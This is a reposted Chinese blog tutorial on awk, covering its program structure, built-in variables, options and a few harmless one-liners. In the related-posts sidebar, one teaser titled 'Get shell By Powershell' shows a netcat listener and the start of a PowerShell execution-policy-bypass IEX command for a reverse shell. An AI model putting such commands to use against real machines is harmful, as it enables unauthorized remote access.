007 Linux 命令三剑客之-awk

Linux 命令三剑客,sed、grep、awk。

  • sed:擅长数据修改。
  • grep:擅长数据查找定位。
  • awk:擅长数据切片,数据格式化,功能最复杂。

awk 更适合格式化文本,对文本进行较复杂格式处理,awk 程序对输入文件的每一行进行操作。awk 是一门解释型的编程语言。文本处理、输出格式化的文本报表、执行算数运算、执行字符串操作等等。

BEGIN { …. initialization awk commands …}{ …. awk commands for each line of the file…}END { …. finalization awk commands …}
  • BEGIN{} 语句块在程序的开头执行,它只执行一次,在这里可以初始化变量。BEGIN 是 awk 的关键字,因此它必须为大写,注意,这个语句块是可选的;
  • 主{ }部分,没有关键字,运行处理文件的每一行执行的命令;
  • END 语句块在程序的最后执行,END 是 awk 的关键字,因此必须为大写,它也是可选的。

  • awk 将每一行视为由多个字段组成,每个字段由”间隔符”分隔。默认情况下”间隔符” 是一个或多个空格字符,因此行:this is a line of text 包含6个字段。在 awk 中,第一个字段称为 $1,第二个字段称为 $2,以此类推,整行称为 $0。

  • awk 内置变量 FS 可以设置间隔符,如设置 FS=”:”,则它将根据’:’作为间隔符。

【内置变量】

  • FS # 输入字段的分隔符
  • NR # 当前行号,已读的记录数
  • NF # 当前行中的字段数量
  • $NF # NF 当前行中的字段数量(行参数数量),假如行参数有六个,那么NF=6,重点来了,如果我要取当前行的最后一个参数,使用 “$6” 和 “$NF” 都能取到最后一个参数,也就是说 $6=$NF=第6个参数值。

【常用可选参数】

  • -v # 赋值一个用户定义变量
  • -f # 从脚本文件中读取 awk 命令
  • -F # 相当于内置变量 FS

  • awk 可以对任何文件进行操作,包括 std-in,在这种情况下,它通常与 ‘|’ 命令一起使用,例如,结合 grep,cat 或其他命令。

  • awk 是一种面向行的语言。首先是模式,然后是动作。操作语句用” {} “括起来。
  • awk 模式包括正则表达式 (使用与”grep -E”相同的语法) 和使用的组合特殊符号 “&&” 表示”逻辑AND “,”||”表示”逻辑或”,”!” 的意思是”逻辑不”。
awk 'BEGIN{ commands } pattern{ commands } END{ commands }'

eg:统计指定ip和端口号,各种 tcp 连接状态的数量

netstat -n | grep 1.2.3.4:22 | awk '/^tcp/ {++State[$NF]} END {for (i in State) print i, State[i]}'
  • 命令中,^tcp用于匹配开头包含tcp字符的文本行;
  • $NF 指的是每行最后一个字段,数组State[$NF]就是以最后一个字段为下标指向一个存储单元或者说变量,此处代表该字段的统计结果, 也就是++的意义所在, 统计值自增一。
  • END不能缺少表示END符号之后的指令于处理所有行结束时执行。
  • i是字段,State[i]即为统计结果,每行处理完成则State[$NF] 加1。

  • 统计文本行数

awk 'END  {print NR}' warn.log #统计 warn.log 文件行数。
  • 指定以 , 为分隔符;输出为 hello world。
    文本内容如下:
    hello,world,awk,!
awk -F, '{print $1,$2}' info.log # -F, 指定以逗号分隔。
  • 实现计算表达式
awk 'BEGIN{print  115+100}'

awk 命令,擅长文本格式化处理,这里只是起到一个抛砖引玉的作用,awk 语法较为复杂,感兴趣的可以深入学习,当然你也可以用 python 等语言来做一些脚本任务的处理。

「不甩锅的码农」原创,转载请注明来源,未经授权禁止商业用途!同名 GZH 请关注!

Original: https://www.cnblogs.com/bilahepan/p/15848046.html
Author: 不甩锅的码农
Title: 007 Linux 命令三剑客之-awk

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/524132/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 数字数组

    3、【剑指Offer学习】【面试题03:找出数组中重复的数字】 4、【剑指Offer学习】【面试题04:二维数组中的查找】 11、【剑指Offer学习】【面试题11:旋转数组的最小…

    Linux 2023年6月13日
    0125
  • 08_Linux基础-vim-tmux-字符编码

    08_Linux基础-vim-tmux-字符编码 一. vim 文本编辑器-vim(编辑文本) Windows:记事本、word、sublime、pycharm能编辑音乐、视频、图…

    Linux 2023年6月6日
    0110
  • CAPL学习笔记

    CAPL是CANOE自带的一种编程语言,要和CANOE中的一个节点绑定在一起。它的文件后缀是.can。 两种添加方式:1. 在simulation setup中增加一个网络节点,配…

    Linux 2023年6月13日
    090
  • Linux下腾达无线网卡U6的驱动安装

    U6无线网卡是rt8192eu芯片, 腾达驱动只支持到内核4.4左右; 5.0以上的内核就需要自己编译的。 终于找到了一个github修改版的驱动,经过验证运行正常。 https:…

    Linux 2023年6月14日
    088
  • BKT的胡测题解:第一套第一题parts

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/Grharris/p/11530239.htmlAuth…

    Linux 2023年6月6日
    099
  • wsl2环境搭建

    我电脑配置不高,开虚拟机跑linux总觉得太卡。最近才了解到windows早就上了wsl2——一款较为轻量的虚拟机软件。所以本篇博客偏笔记向,存粹记录以便多次使用。 WSL2安装 …

    Linux 2023年6月7日
    097
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    099
  • Redis 位图BitMap

    应用场景: 用户签到 用户在线状态 统计活跃用户 各种状态值 自定义布隆过滤器 点赞功能 说明: 用string类型作为底层数据结构实现的一种统计状态的数据类型。 位图本质是数组,…

    Linux 2023年5月28日
    0108
  • [20210930]bbed读取数据块7 fffext.sh.txt

    [20210930]bbed读取数据块7 fffext.sh.txt –//一般bash shell脚本很少考虑执行效率,仅仅考虑利用它快速解决工作中遇到的问题. &#…

    Linux 2023年6月13日
    089
  • TCP/IP方法安装打印机

    在计算机安装打印机驱动和添加打印机 (TCP/IP 方法 ) 一:打印机的型号和驱动。 1.1 :如何知道自己的打印机是什么品牌和型号?: 通过观察打印机表面的logo 或者其他文…

    Linux 2023年6月13日
    0126
  • 路由层

    目录 django请求生命周期流程图 *路由层相关知识 内容 django请求生命周期流程图 整体概括请求的走向以及django的核心组成部分 路由匹配 路由匹配的特点 只要匹配上…

    Linux 2023年6月7日
    0108
  • Linux用户和用户组

    Linux用户和用户组 1.添加新的用户 (用户ID从500开始,0-99系统管理级别、100-499系统预留) useradd 选项 用户名 参数说明 选项: -c commen…

    Linux 2023年6月11日
    0100
  • Docker学习笔记

    镜像下载、域名解析、时间同步请点击阿里云开源镜像站 Docker概述 Docker学习链接 官网链接:Home – Docker Docker与虚拟机比较 虚拟化技术 …

    Linux 2023年5月27日
    0107
  • 特殊进制

    //0xaaaaaaaa = 10101010101010101010101010101010 (偶数位为1,奇数位为0) //0x55555555 = 1010101010101…

    Linux 2023年6月13日
    0105
  • [云原生]Kubernetes-Service详解(第7章)

    * – 一、Service介绍 – 二、Service类型 – 三、Service使用 + 3.1 实验环境准备 + 3.2 ClusterIP…

    Linux 2023年6月13日
    0112
  • 关于启动Docker容器的错误:OCI runtime create failed: container with id exists

    此笔记记载了本人在使用centos7.6环境下docker启动容器时遇到的 OCI runtime create failed: container with id exists:…

    Linux 2023年6月14日
    0103
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球